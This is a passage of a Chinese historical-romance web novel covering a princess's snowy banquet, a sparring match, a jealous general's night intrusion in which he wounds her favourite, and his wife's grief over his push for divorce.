到了下半年,已经不只是文士来长公主这里求官,连三教九流都来求门路了。变戏法的,做生意的,耍刀弄枪的,都想在贵人们面前露个脸。甚至还专有一类人,尤以姜逯为首,是来长公主这里自荐枕席的。
这最后一类人,长公主是来者不拒。她这里向来是男女同席,有不少世家贵女,席上不见歌伎美人,倒是少不了男子献媚。甚至还有天生貌丑,却形容伟岸的男人,非要在长公主面前学昔年长信侯“牦牛转毐”,在建康传得风风雨雨。
就在此事之后不久,明绰就收到了袁氏兄弟的拜帖。
离宫之后,桓宜华也没有像她说的那样能日日到公主府做客。她还有孩子,还有一家人,上上下下的,永远都忙得没有个尽头。更何况长公主什么都见、什么人都来往,实在不算个规矩的妇道人家,也只有像崔庆英这样的来得最无所顾忌。桓宜华还要顾虑膝下未嫁的女儿,明绰请了几次她都没来,心里也就懂了。
这倒还不算影响了她们之间的交情。倒是楚恕颐,自从去年盂兰盆会之后,当真被明绰疏远了。桓宜华替弟媳问过两次怎么回事,明绰也不好直说,桓宜华虽然不能说什么,但明绰感觉,她这忽冷忽热的,肯定是伤了楚恕颐的心,桓宜华也有些替弟媳抱不平,所以更不来了。
萧盈许了东乡公主随时回宫,她倒是很少去看皇兄,除了去看望有身孕的妹妹,就是去承华宫。这些事情,明绰也没别人可以说,只能全倒给敬漪澜听。
但是敬漪澜不能出宫,也不在她身边出主意,明绰瞪着拜帖上的名字,只能抬头问阴青蘅:“他们来干什么?”
阴青蘅都让她问愣了:“袁氏兄弟不能来吗?”
明绰张了张嘴,一时不知道怎么说。大将军的态度还是倾向长公主的,不仅两个儿媳都跟上阳宫交好,他本人也从来没跟着桓廊说过长公主坏话。东乡公主离了宫,朝中姓王的姓崔的姓谢的姓卢的都来过了,他的儿子们却从来没上过门,倒显得有些刻意做作了。
但是明绰才不管袁煦在想什么,她真正问的是袁綦来干什么?
他还敢来见她?
阴青蘅掂量着她的脸色,想从她手里取走那张拜帖:“那奴婢去回绝……?”
但是明绰又没让她拿,也不知道跟谁赌气似的,突然道:“来就来,我怕他吗?——青蘅,给我梳妆。”
阴青蘅低低地应了一声,嘴角没忍住轻轻一勾。明绰从镜中看见了,非常敏感地转头问她:“你笑什么!”
“没什么。”阴青蘅立刻收敛,一脸肃容地给长公主梳头。明绰手里还捏着那拜帖,出神地看着镜中的自己。身边的人手里捧着几个新式样的花钿,问了几次明绰也没回答,最后还是阴青蘅使了个眼色,替明绰挑了一个,让人下去了。
华灯初上,公主府如常开宴。
进了十一月里,建康已落了雪。公主府把宴设在亭廊中,临水对雪,弹琴围炉,融雪泡茶,是为香雪茗。明绰才刚出房门,就看见姜逯已经在内院来等着了。他相貌确实是好,唇红齿白,尤胜女子,肩披貂裘,腰配玉带,一身洁白素衣,翩然若仙,手里还
折了一支红梅,想是等久了,梅上都积了薄薄一层雪。一见到明绰出来,他便绽开了一个笑容,人面花红,当真赏心悦目。
明绰也朝他笑,脚步没停:“你阿嫂今日没来吗?”
姜逯跟在她身边走,油嘴滑舌地回应:“崔夫人已不是我阿嫂了,她是她,我是我。长公主怎么见了我,却问起她?”
明绰脚下停了停,转头看着他,只是笑。姜逯便把手里的红梅递给她,压低声音,颇为哀怨道:“辜负我对长公主日思夜想……”
跟在明绰身后的人都识趣地退了两步,明绰没动,任由姜逯微微俯身,在她颊侧和耳畔吻了两下。但他再要放肆,明绰就伸手在他胸口一点,也没用什么力道,但是姜逯,顺着她的力道退了两步,咬着下唇,看着她笑。
“别没个正形。”明绰笑着骂了他一句,把那红梅又扔给他,像一道鞭子似的抽起来,扬了他一脸的散雪,姜逯一脸如痴如醉的表情,心甘情愿地被她拿梅花枝抽。
“这是情不自禁……”姜逯见明绰抬脚就走,赶紧又跟上,一面软了声音求她,“长公主今夜肯留我么?”
“我留你留得还不够啊?”
“不够。”姜逯跟她撒娇,“若是又来个小长信侯……”
明绰只是笑,并不理他,自顾自地入了席间。
姜逯这人没什么廉耻心,撒娇邀宠张嘴就来,也不管别人背地里怎么笑他。但相应地也没什么上进心,什么才学抱负,一概没有。姜氏本身已没落多年,他又已是姜氏的旁支,自小没钱,却还是担着世家的出身,所以心理有点儿扭曲,一生唯看重吃喝享乐。从前勾搭阿嫂就是为了贪点儿实在的好处,现在到长公主身上就更不敢放肆,只要一些小恩小惠,让他锦衣玉食,还能在人前耍耍威风就好了。
明绰倒也谈不上多喜欢他,但他嘴甜,会伺候人,她留他在府里留过几夜,他就更加奉承示好,没有一处拂逆明绰的心意。他堂兄姜川又是明绰一手扶起来的,在朝中处处维护长公主。明绰看见他,眼睛舒服,心里更舒服。
“行了,”明绰半真半假地斥了他一句,“我看你今晚听不听话。”
姜逯马上一副正襟危坐的模样,马上就有人给他敬酒,他便也举杯回礼,瞧着彬彬有礼,在外头还挺像个人的。他也知道长公主的目光流连在他身上,越发昂首挺胸,一张白净脸面几乎要放出光来了。
明绰看他像只摇尾巴的狗,没忍住笑了一声,还没笑完便听到了一个熟悉的声音:“长公主。”
明绰听出袁煦的声音,头还没完全转过来就道:“伯彦不要多礼,快入座……”
然后她的话音不自觉地一滞。袁綦就站在兄长身边,目光灼灼地看着她,却没有行礼。见到长公主的视线落到他们身上,袁煦不动声色地用力清了清嗓子,袁綦才如梦初醒似的,低下头,几乎从牙缝里挤出来一句:“见过长公主。”
“仲宁也来了。”明绰笑了笑,就像当时什么都没发生过一样,“一起坐吧。”
第135章
刀锋“嗤”地一声划过,溅起了一大片散雪,呼啦啦地在空中纷纷扬扬,又再次被刀风带起,绕着那刀客回旋飞舞,当真如诗中所言,有“回风舞雪”之姿。
明绰拍了拍手,扬声赞了一句:“好!”
宴已过半,茶已经端下去了,如今每张桌子前的小炉上温的都是酒和肉。雪虽下得大,明绰一张脸却被炭火和酒气扑得酽酽红。那刀客是江湖游侠,有人特意寻来为长公主献艺,明绰看得高兴,像个孩子似的直拍手,眼睛里亮晶晶的,简直比头上的珠翠还耀眼。
那刀客突然变招,呼呼嗬嗬地叫了几声,连出几刀,整个人跟着刀走,极快地滑出去,明绰便倒吸一口气,非常捧场地喝彩。
袁綦一眼都懒得看,一双眼睛只是盯着姜逯。他毫不避讳地坐在了长公主身边,正揽着袖子给她炙肉。长公主一笑,他便也笑。袁綦就笑不出来了,什么也不吃,只是一杯一杯地灌酒。不多时,一壶酒便空了。在身边伺候的下人自觉地要为他换一壶,却被袁煦伸出一只手来拦住了。
“多谢,”袁煦对公主府的下人十分客气,笑了笑,“他喝得够多了。”
那丫鬟便端着新壶退了回去。袁煦笑容不变,朝弟弟那边稍微侧了侧头,咬着牙道:“别给袁家丢人。”
袁綦沉默着,微微垂下了眼。
大将军虽然从来没有旗帜鲜明地反对过长公主,但是公主府的宴在他们这些真正的重臣家中名声也实在不太好听。他们看不起那些要走公主府门路的投机之辈,尤其是桓家,谈起长公主那就是“成何体统”四个字,所以袁煦本来是不想来的。
但是再不来,仲宁就要在家里发疯了。弟弟比他小着好几岁,自小是他带大的,袁煦其实比任何人都疼他,也比任何人都了解他在想什么。他陪着仲宁来一趟,总比让父亲发觉了,又打一顿的好。
袁煦眼神复杂地侧头瞥了弟弟一眼,满心的话说不出来。来就来了,居然还跟姜逯那小子争风吃醋——那算个什么东西!袁煦恨铁不成钢地咬牙,又朝那丫鬟招了招手,到底还是问她要来了那壶新酒。
他还是自己喝点儿吧。
那头献艺的江湖客已经表演完了,动作利落地收了刀,朝宴上的宾客团团行礼。明绰笑得开心,随手就从身上解下一块玉抛给他:“赏!”
刀客伸手接住,欢喜地跪在雪地里:“多谢长公主!”
袁綦突然一拍桌子,扬声道:“我同你比一场!”
所有人都把视线转了过来,袁煦立刻摁住了弟弟:“干什么?”
但是袁綦一把挣开了兄长,发泄什么似的:“骗人的花架子,根本不是真本事!有胆子,就同我比!”
袁煦恨不得一巴掌给他拍地上:“住口!”
他是什么身份,也跟江湖客一样去献艺,要不要脸了!
明绰已经转过脸来,看着袁氏兄弟,嘴角轻轻地勾了起来。那刀客也看着袁綦,他虽不认得此人是谁,但也知道宴上没有普通人,所以没敢回嘴。但他自恃武艺过人,在长公主面前耍刀,确实是为了好看,还没使出真本事呢,所以也有些不甘,沉着脸,只是不说话。
袁綦蹬鼻子上脸:“你不敢吗!”
那刀客冷冷地看他一眼:“阁下是何人?”
明绰笑着抢先回答:“这可是大将军的儿子,陛下亲封的骠骑将军——壮士若是能胜过他,当入军中做个百夫长了!”
袁綦冷笑一声:“你若能胜我,封个校尉也当得!”
袁煦头都大了:
“你胡说些什么!”
但是明绰已经看热闹不嫌事大地拍了拍手:“好啊!”
刀客听见能封校尉等语,已经神色一动,见长公主欢喜,便也跃跃欲试,但是看了看袁綦这一身单薄的筋骨,又摇了摇头,对明绰道:“长公主,草民练的是蛮力气,这位小将军怕是捱不住打。”
“你!”袁綦一下子就站了起来,袁煦也跟着站起来,死死摁住了他的肩膀:“长公主恕罪,仲宁他喝多了……”
刀客上上下下地打量了一下袁煦那一身腱子肉,反而道:“这位将军的筋骨看着可以。”
袁煦转过头,难以置信地看了这胆大包天的游侠一眼。
明绰掩住了嘴:“你可知道他是谁?”
有人马上提醒他:“别放肆,这可是征西大都督!”
那刀客也不知道是真莽撞还是真傻,只道:“那想必很能打!”
“哈哈哈!”明绰笑得眼睛都弯起来了,好像遇到了天底下最好玩的事情,“他能打,他可太能打了——伯彦,你得跟他比一场……”
袁煦显然不愿意,但是长公主已经站了起来,亲自走过来拉他,拖长了声音跟他撒娇一般:“试试他的身手又如何?哎呀伯彦,你难得肯来我这里,就是来扫兴的吗?”
袁煦无奈:“臣不敢……”
袁綦还想说话,但是袁煦已经回头狠狠地瞪了他一眼,让他什么都不许说,一边自己脱下了肩上的狐裘,把下摆撩起来,扣在腰带中。
明绰:“点到为止,切勿伤人,这兵刃哪,我看就不必了。”
刀客毫不犹豫地就把手里的刀一抛,站稳在当地,双手握拳,摆出了迎敌的架势。明绰笑盈盈地看着他:“壮士若能赢了征西大都督,本宫就亲自带你去面圣。”
席间众人都纷纷倒吸了一口冷气,姜逯带头拍了拍手,喊了一声“好!”,众人便都跟着喝起彩来。没什么比这更能刺激人了,刀客气沉丹田,低喝了一声,像头牛似的,猛地朝袁煦冲了过来。
袁煦站在当地,双手交叉,不紧不慢地接了他这一撞,一侧肩膀微沉,就要把这力道卸下,再顺势把他丢出去。但那刀客马上识破了他的意图,使了个缠字诀,盘住了袁煦一条手臂。他整个人被推出去的时候,也拉着袁煦的手往前倾,打乱了袁煦稳如泰山的下盘。袁煦反应也快,两人转眼就呼呼嗬嗬地换了好几招,打得拳拳到肉,腿风扫起的雪在所有人的视线里都扬出一片雾。
明绰歪了歪身子,坐得更舒服些。姜逯殷勤地夹了一片肉来,明绰眼睛都没转就张嘴让他喂了。
刚才看献艺的时候,袁煦也觉得此人耍的刀是个花架子,没想到真有几分本事在身上。这江湖客直心肠,只知道要全力以赴,未曾想过半点儿人情世故,所以打得毫无保留。但袁煦动手便已是纡尊降贵,没有在片刻之间就将人制服便已算输了。他心里懊恼焦躁,又因为一开始就低估了对手,越急越有破绽,一时竟被他打出了几分狼狈。袁綦眼看着兄长越喘越急,心中暗道不好,没忍住出声提醒:“阿兄小心他右拳——”
明绰马上制止:“不许耍赖!”
两人几乎同时开的口,话音未落,只听“砰”地一声,袁煦腹部狠狠挨了一拳,连退了几步,本还想强撑,但晃了两下,还是捂着肚子单膝跪了下来。
明绰脸一皱,没忍住“嘶”了一声,看着好疼。
刀客看起来还要上前,明绰赶紧站起来喝住了他:“行了!点到为止!”
袁綦赶紧奔上去把兄长扶起来,袁煦一张脸涨得通红,额上青筋直跳,恶狠狠地瞪了他一眼:“你满意了?”
袁綦酒已经醒了大半,让他问得满脸无措。袁煦深吸了两口气,硬是把弟弟推开,站起来强撑出了一个大度的笑容:“果然是好本事!陛下若能得此猛士,真乃大雍之幸啊!”
那刀客如梦初醒似的,忙单膝跪地,给袁煦行礼:“愿为大都督效劳!”
袁煦低头扫了他一眼,十分敷衍地扶了扶他钵大的拳头,算是走了个礼贤下士的过场。众人这才纷纷地松了一口气,轰天价地喝起彩来。
明绰便重新坐了下来,姜逯很有眼色地给她倒了一杯酒,小声问了一句:“长公主真要带这江湖客去面圣啊?”
明绰把酒接过来,痛快地一饮而尽:“本宫自然言而有信。”
姜逯就没敢多问,只是看着长公主嘴角突然浮起了一丝意味不明的笑。
袁增这两头不得罪的好人也当得太久了。明绰的手指在杯沿上转了转,也是时候,试试这头老狐狸的深浅了。
袁煦又支撑了一会儿,明绰也怕真把他打坏了,桓宜华要伤心。她知道袁煦为什么非得强撑,所以没过多久就借口她自己不舒服,让散了宴。众宾客走的时候也都没什么不尽兴的——今日的宴虽短,发生的事情可是够整个建康议论一个月了。
她起身要回去,姜逯还是跟着她。明绰便默许了他今夜留下来,但明绰现在即使留人过夜也不喜欢让他们睡在身边,所以还是让人把他带去了客房。
照规矩,长公主不开口,是不能来闯她的卧房的,只是姜逯一向不是那么规矩的人。明绰才刚洗漱完毕,婢女们前脚鱼贯而出,就有人后脚从门外进来了。
明绰暗笑一声,假装没听见。姜逯要是进来了,阴青蘅就不会回来伺候了。于是她自己举着灭烛铃,熄了屋里的灯。
姜逯就站在门口,脸隐在黑暗中,瘦削的身影被拉得比平时更长了。
明绰听见身后没动静,便调侃似的:“今晚倒是规矩起来了?”
姜逯听见这话,倒也没跟往常一样油嘴滑舌,突然往前了几步。明绰手边还有几根蜡烛没熄,他的手一挥,直接把整个多枝烛台都掀倒了。明绰刚发出一声惊呼,整个人就被带进了男人怀里,然后他的吻落了下来。
实话是,那一瞬间明绰就知道他是谁了。姜逯没有这么粗暴,这么急切,也不敢带着这么浓的酒气来找她。他比姜逯更高,紧紧地环着明绰的腰,恨不得把她整个人都揉进自己的身体里,明绰不得不稍微踮起脚,手下意识地抵在他胸口。方才被刀客嫌弃的身板只是看着薄,其实比姜逯结实多了,每一寸肌肉在绷紧着发力。
但明绰也没有立刻戳穿他。吻得太激烈,她都感觉有些喘不上气,于是那人放开她,磨着她的鼻尖,让她微微喘气。她分不清这一瞬间,她是还想自欺欺人什么,还是有意地挑衅他。总之,她明知故问地唤了一个不该唤的名字:“姜逯?”
抱着她的人只是微微一怔,然后他的呼吸一下子变得粗重。吻重新落下来,他的牙齿咬住了她的下唇,把她咬痛。一个完全不容她反对的吻。明绰哼了一声,感觉到他的手目标明确地摸到了她的胸口。手劲太重了,揉得她好痛。咬得也痛,抱得也痛。她竟然在那一瞬间分心想到,怪不得恕颐不喜欢。
可是她喜欢。明绰的手下意识地环上了他的脖子,为什么他这么高?她明明记得他是没有乌兰徵高的,但她也已经不太记得和乌兰徵在一起是什么情形了——不行,她不能在这个时候又想起乌兰徵。明绰踮着脚回吻他,他腾出一只手摸到了她的腿,托住了她的腿,一只手就把她整个人抱了起来。
好吧,这就装不下去了。姜逯可没这种力气。
“袁綦,”明绰伏在他肩上喘,“你还没疯够吗?”
袁綦什么都没说,只是追着她的唇。明绰往后仰着避他,但这个姿势她不稳当,所以手臂还是紧紧环着他的脖子。她越躲,就越是引着他一般,袁綦就这么抱着她走了几步。明绰感到肩膀抵到了柱子上,可能是屏风,她分不清。她执着地别过了头,袁綦就吻住了她的脖子,灼热的气息像火一样燎过去。明绰没忍住在心里狠狠地骂了一句什么,她都不知道在骂谁,骂他?还是骂自己?现在推开他真的需要很多意志力。
“袁綦,”她的声音哑得很厉害,“放开我。”
她听起来一点说服力都没有,所以袁綦只是把她抱得更紧,用同样沙哑的声音反问她:“为什么?”
“还问为什么……”明绰的声音几乎是哀求,想让他自己停下来,她已经没有太多意志力能继续拒绝了。
“既然谁都可以,”袁綦的鼻尖严丝合缝地嵌进了她下颌的弧线处,让他每个字都说得很含糊,每个字都包含着极大的痛苦,“那为什么我不可以?”
明绰觉得她应该被这句“谁都可以”深深冒犯,事实却是她因此燃起更旺盛的情|欲。袁綦的痛苦变成了火,贴着她的皮肤烧。他的手沿着她身上最隐秘的线条滑进去,贴在她的耳边,近乎一句质问:“你不想要我吗?”
明绰闭上眼睛,无声地数着发了疯似的心跳,到底还是摁住了他的手腕:“你已经有恕颐了。”
袁綦终于不再继续动作了,但他也没有放开她。明绰把头轻轻地往后一仰,脱力似的,靠在了身后的柱子上。
“放开我。”明绰最后说了一遍。
袁綦沉默
着,全身僵硬,然后轻轻地放开了她。明绰非常丢脸地发现自己的腿是软的,险些站不住。袁綦意识到了,伸手扶了她一把,但是明绰非常坚决地挣开了他。
“我是陛下唯一的妹妹,是大雍的长公主。”她每个字都说得很慢,生怕袁綦听不明白似的,“我要什么样的男人没有?非得跟楚恕颐争一个你?”
她笑起来,因为他可笑。
“少将军,太把自己当回事了吧?”
第136章
袁綦立在当地,情热霎时冻为寒冰。
窗外传来了脚步声,姜逯哼着小调,已来到了长公主卧房门前。明绰一时有些慌乱,姜逯是不敢吃醋的,但袁綦身份不同,让人看见了还是不好。见他还愣在那里不动,明绰突然抓住了袁綦的手,拉着他绕到了屏风后。
姜逯已经推开了房门:“长公主?”
明绰想走出去,但袁綦突然反手抓住了她,又把她抱进了怀里。明绰挣了一下,竟没挣开。
“我会与她和离。”袁綦的声音很低。
明绰瞪着他,险些让他气个仰倒。
大雍律法虽允许夫妻和离,但条件极为苛刻,需要两方家族耆老都同意,还要去地方上的长官允准,核验夫妻不睦,居中调停财产分割等等事项……过程繁琐不堪。
而他们这样的重臣人家,婚事都是由陛下批准的,和离自然也得有皇家的允许。但圣人之说,夫妻失和有违天道,会影响国家的安定,陛下也不鼓励。更何况世家之间的婚配本来就多为利益联盟,各家运势,有高有低,有起有落,若任他们随意和离,难免纵容小人势利。所以萧盈登基这么多年,还从来没有开过这个口子。否则崔庆英也不会这么多年都离不了,非得等长公主回来给她撑腰。
袁綦嘴上说“和离”,实际上就是欺负楚恕颐多年无子,他可以休妻。这个理由很充分,陛下也不会有话说,但楚恕颐这辈子就毁了。
明绰嘶声怒道:“那我成什么人了!”
姜逯没听清楚:“什么?”
明绰耐着性子扬起了声音:“谁让你来的!”
姜逯听出她心情不太好,一时有些惶惑。但也没走,站在屋里,又说想她。明绰一句也没往耳朵里听,只感觉到袁綦灼热的呼吸依在耳畔。
“我也想你……”袁綦的声音盖过姜逯的,像一条蛇,蛮不讲理地往明绰心里钻,“我从十三岁就在想你……”
明绰没忍住驳了他一句:“那你为何要娶她?”
姜逯莫名其妙的:“啊?”
明绰想起来他还在:“你给我出去!”
“我冤枉啊!”姜逯急了,“长公主是从哪里听来的胡言乱语?看我不割了他们的舌头!我几时要娶妻了!”
明绰让他胡搅蛮缠得头疼,又想把袁綦挣开,可是袁綦就是不放手:“你已嫁了别人,却要我为你守一辈子?”
明绰被他这倒打一耙打得措手不及——这都什么跟什么?当年她几时正眼看过他了?
“谁要你守一辈子了!”
姜逯突然跪下来,赌咒发誓:“我为长公主守一辈子也是心甘情愿!”
这场面过于荒唐,袁綦竟然笑了一声,又贴到了明绰耳边:“那你为何怪我另娶?”
姜逯终于听出房中还有第三人了,一下子站了起来:“什么人!”
明绰又挣了一下,姜逯已经习惯了房中的昏暗,依稀看出了屏风后纠缠的人影,听到明绰压低声音的那句“放开”,突然大喝了一声:“大胆刺客,敢挟持长公主——来人啊!”
明绰急道:“别喊!”
姜逯熟悉明绰房中的摆设,在黑暗中扑到了摆着剑的案台上——还是那把袁綦交还给她的、曾经属于乌兰徵的鸿鸣剑。只听“唰”一声,姜逯已经把剑拔了出来,对着屏风后面色厉内荏地喊:“狂徒!还不放手!”
但他哪里会使剑,一边威胁,一边脚步往后退,随时准备夺路而逃,又朝着外面喊:“快来人啊!”
袁綦终于放开了明绰,从屏风后出来,两步就跨到了姜逯面前。姜逯也没看清楚他的脸,闭着眼睛就持剑砍上来,袁綦毫不费力地侧身一躲,顺势抓住了他的手,轻轻巧巧往后一掰。瞧着他根本没用什么劲,姜逯已“哇哇”喊疼,手臂拧成一个别扭的姿势,整个人半跪不跪,手里的剑“当啷”一声落在了地上。
外面廊上的烛影从门缝里落进来,照清楚了袁綦的脸。
“袁……袁将军?”姜逯一时连疼都忘了喊。
明绰扑上来:“还不放开!你疯了?!”
袁綦冷着脸,手上竟然又加了两分劲,看起来轻轻松松地就能把姜逯的手腕掰折。姜逯马上直着嗓子又喊疼。
袁綦充耳不闻,只道:“你再敢来找她,我就打断你的腿。”
明绰气得发抖:“你有什么资格——”
袁綦继续用力:“听见没有!”
只听“咔嚓”一声,姜逯瞬间张大了嘴,却叫不出声音来,只是冷汗直流。好一会儿才缓过来一口气,哀叫道:“长公主救我!”
明绰气极反笑:“好啊,那你现在就打断他的腿。”
姜逯都要急哭了:“长公主!”
袁綦听出她已动了真怒,愣了一下,转头看着她,手里松了劲。姜逯挣脱出来,连滚带爬地躲到了明绰身后。但明绰只当没看见他,抬头看着袁綦。
“你打断他的腿,我还有别人。”她往前逼近一步,“怎么?你也一个一个地打断腿吗?袁将军不练兵了?不出征了?我公主府夜夜换人,你夜夜在这儿守着吗!”
袁綦抽了一口冷气,像是哪里被她打疼了,把那几个字重复了一遍,在唇齿间咬出满嘴的血:“夜夜换人?”
“是啊。”明绰继续逼近,“谁都可以,就你不行。”
姜逯捧着已经折断的手腕,终于听出一点不对劲来。这口气,长公主跟小袁将军绝对是有私情啊!但他吃了这么个亏,正不忿,便起了促狭心肠,有意凑在明绰身边,举起了他的伤手:“长公主……”
明绰把他的手端起来,即使在昏暗中,也看得出来手腕已经肿了。纷乱的脚步声终于从外面传进来,阴青蘅站在门口,没有进来:“长公主?”
“没事,”明绰扬起声音,“你们下去吧。”
阴青蘅应了一声,明绰又道:“去请个大夫来。”
外面愣了一下,然后是阴青蘅担忧的声音:“长公主怎么了?哪里不舒服吗?”
“我没事,”明绰有点不耐烦了,“去请就是了!”
阴青蘅马上唱了一声喏,一句话都没多说,离开了。明绰听着外面没动静了,才冷冷地说了一句:“你还不走?”
袁綦好一阵都没说话,然后他俯身,从地上捡起了鸿鸣剑,只道:“这种人不配碰他的剑,请长公主还给我吧。”
明绰咬着牙闭上了眼睛,只道:“滚。”
袁綦便握着那把剑,转身要往外走。
姜逯看着他的背影,心里忍不住得意。大将军的儿子,陛下亲封的骠骑将军,说出去多么威风,到了长公主面前,不还是跟他一样,跟条狗似的。甚至还不如他呢。他心里一得意,嘴上就不肯饶人,对着袁綦的背影道:“袁将军还是改改你的脾气,这样争风吃醋的,长公主可不喜欢!”
袁綦的脚步猛地一顿。
明绰也皱起了眉头,觉得姜逯多话,张嘴正要训斥他两句,但话还没出口,就成了一个惊呼。剑光突然闪过,袁綦出手又稳又准,姜逯连躲都没有躲的机会,鸿鸣剑的剑尖已经穿过他的肩头,从背上刺了出来。
这一剑太快,快到姜逯可能都没来得及觉得疼,所以他一点儿声音都没有。直到袁綦利落地重新拔了剑,他才发出了“啊”的一声惨叫。
“你……!”明绰抬起
头,惊得说不出话。
袁綦收剑入鞘,只道:“臣告退。”然后就推开门大步走了出去。
明绰一时顾不上他,赶紧俯身去看姜逯。他肩头的血不断地往外涌,瞬息间就浸湿了明绰的衣服。明绰让他别动,他却挣扎个没完,一面叫得杀猪一般。
“我要死了!我要死了!”他喊得凄厉,“袁綦杀我——!”
明绰狠狠地摁住了他的伤口,一下把他的指控摁了回去:“死不了。”
她跟着乌兰徵上过战场,见过太多受伤的将士。这伤口干净利落,避开了全部要害,最多就是手臂要吊一段日子,不方便活动而已——袁綦根本没想要他的命。
但他毕竟是姜家的人。姜川新贵,干的就是替陛下得罪世家的活。若是让人知道袁綦伤了他,传到萧盈那里,可能就不是“争风吃醋”这么简单了。
明绰摁他伤口的手微微加重了力气,姜逯吃痛,但感觉到长公主情绪不对,竟然也不敢再叫了。
“大夫一会儿就来,伤好之前,你就不要回家了。”
姜逯发着抖:“是……”
“今夜之事,你若敢说出一个字……”明绰冷冷地警告他。姜逯何其会看脸色,都不用等她说完,就忙道:“我……我不敢!”
明绰便把他好的那只手拿过来,让他自己摁住了伤口。阴青蘅回来得很快,手里提着灯,一见到长公主身上都是血,没忍住一声惊叫,赶紧上来先搀她。明绰挣了一下,只道:“我没事。把他扶下去,让大夫给他止血。”
几个婢女忙去地上扶姜逯,他“哎哟”“哎哟”的,只敢低声喊疼,再不敢叫。明绰已经一眼都懒得多看,绕到屏风后面,自顾自换身上脏了的衣物。阴青蘅使了个眼色,便有婢女会意,有人去点房中的蜡烛,把被袁綦推倒的烛台扶起来,还有的赶紧俯身擦地,把血迹清理干净。
阴青蘅扫了一眼房中,一眼就看到原本摆剑的架子空了。但她什么也没说,只是示意婢女退出去的时候一起把空剑架拿走,自己在房中扫了两眼,挪了个花瓶过来,摆上了。
等明绰换好衣服,房中已经恢复如初。阴青蘅重新端来水,伺候着明绰洗手。
“长公主,”她斟酌着词句,“方才院中依稀听见,有刺客……?”
明绰搓了搓指缝里已经干涸的血迹:“你听错了。”
“是。”
明绰头也没抬:“他吃多了酒,想学人家舞刀弄剑,不小心伤了自己。你多派两个人照看些,就让他在府上养伤吧。”
阴青蘅递上干净的巾子,只道:“是。”
明绰擦了擦手:“以后别让他来我房里了。”
“是。”
只听“咚”一声,明绰把擦完手的巾子顺手丢进了水盆里。然后再没说一个字,自起身去床上躺下了。阴青蘅这才举着灭烛铃,重新把蜡烛一盏一盏地熄灭,特意留了两个人在门外守着,自己去看姜逯那边。
大夫已经给姜逯包扎好了,他一点儿耐不了疼,仍旧痛呼个没完。阴青蘅听了一会儿,又叫来两个人,让他们把姜公子的东西收拾收拾,挪到长公主卧房的院外,跟那些门客住一块儿去,别扰了长公主休息。一边又封了个红包,亲自交到了大夫手上。
那大夫满脸喜色地接了,连连谢过。阴青蘅再叫人好生把大夫送回去,等忙完,早已过了子时。府里各处都熄了灯,终于安静了下来。
阴青蘅回到了自己房间,草草洗漱,感觉才刚睡下没多久,就又被外面的敲门声惊醒。她吓了一跳,赶紧披上衣服点上灯,打开门一看,竟是府里夜间守侧门的小厮。
“怎么了?”她跨出来一步,但小厮还未回答,阴青蘅已看见了跟在他身后大氅裹身,风帽遮脸的身影。
“阴女史。”任之朝她行了一礼,仍以宫中的官位称呼她。
“陛下有旨,命我请姜公子入宫。”任之直起身,朝她笑了笑,“夜已深了,就不要惊动长公主了……还请女史行个方便。”
第137章
桓宜华轻轻敲了敲门,没有人应。她等了片刻,便自己推开了门。楚恕颐果然坐在里面,听见她进来,也没有从梳妆台前转身。
桓宜华转过身,从跟着的丫鬟手里接过装着食物的托盘,让她下去了。楚恕颐从镜中看了一眼,轻声道:“我不饿。”
桓宜华只当没听见,把食物放在桌上,只道:“饿了再吃。”
楚恕颐便什么也不说了,继续怔怔地坐在镜前,肩背微微颓着,看起来比任何时候都像一个没长成的小女孩。
桓宜华有些心疼,走到她身边,见她手里握着一只单个的耳环,指腹几乎无意识地在耳环的那颗珍珠上摩挲着。这耳环她在长公主耳朵上见过。桓宜华微微垂了眼,不知道应该如何安慰。
二郎小时候就对长公主有些痴心肠,这事儿她早就知道,甚至楚恕颐也是知情的,因为袁煦没事儿总拿这个打趣。但长公主姿容绝代,二郎知慕少艾,也不是什么稀罕事——就连袁煦都私下跟妻子承认过,他十六岁的时候第一次见到长公主,也是起过倾慕的心的。只是那点儿心思才刚有个苗头,就被陛下一鞭子抽得烟消云散,再不敢想了。
少年心动嘛,过去了就过去了。长公主都嫁去长安了,陛下都无可奈何,二郎还能怎么着?反正袁煦是这么想的。
谁也没有想到,十几年了,他为了长公主,竟然铁了心要跟楚恕颐和离。
楚家还不知道是什么缘故,只以为还是为着女儿的怪处。所以楚培夫妇两个亲自上了门,又给袁家赔礼道歉。袁綦不肯明说,只是跪在岳丈面前,一遍一遍地强调,是他对不起恕颐,他也不要纳妾,他只要和离。袁家绝不会亏待恕颐。
楚培这么多年头一次跟这个视若亲子的女婿翻了脸,说要么就是一纸休书,两家的脸面都撕破不要了,否则闹到陛下面前去,也是不可能答应和离的。
袁增一直没表态,但桓宜华揣度着公公的意思,是想让儿子写休书。袁綦成亲的时候,袁氏如日中天,楚氏除了一个老祖母还流着萧氏公主的血脉,其余真是什么也不剩了。袁增会答应这门亲,说到底不过是当年长子和桓氏结亲,整个建康都知道是他高攀,他不愿意再让别人一直在他背后戳脊梁骨而已。
这么多年,袁增也确实没有在意过楚培能不能在朝中帮衬他,但偏偏楚恕颐有这许多怪处,闹得家宅不宁。袁增虽不怎么表露,心里对她早已不满。正好儿子主动提出来,那就休了了事,他又不怕跟楚家撕破脸。
但是袁綦也死活不肯写休书。
楚培就是知道他不是绝情的人,才放下了那话。楚恕颐的母亲今天来劝和,桓宜华也在,听着她给女儿出主意,也说仲宁是个忠厚人,不会到那一步的,让楚恕颐说什么也要在袁家撑住,熬过这一阵,赶紧给仲宁生个孩子,就好了。
楚恕颐就听着,从头到尾,一言不发。
“阿嫂。”楚恕颐突然叫了她一声。
桓宜华忙应道:“诶。我在呢。”
楚恕颐低下了头,豆大的眼泪突然夺眶而出:“他们为什么不许我回家呀?”
桓宜华眼眶里也是一热,上前几步,把楚恕颐搂在了怀里。她转过脸,埋进了桓宜华怀里,哭得肩膀发颤,呼吸不畅。
仲宁不想跟她过就不过了嘛,她又不会跟长公主争……可是为什么父亲母亲都不要她了?她不是他们的女儿了吗?
桓宜华把她抱得更紧,只道:“你放心,有阿嫂在呢。看我不狠狠教训二郎……”
可是楚恕颐摇了摇头。
袁綦去跟长辈提和离之前,已经私下里跟她谈过一次。楚恕颐当时也不明白,她觉得他们虽然不像别的夫妻那样,但也没到过不下去的程度——他要还是想着那事儿,就给他纳妾嘛!
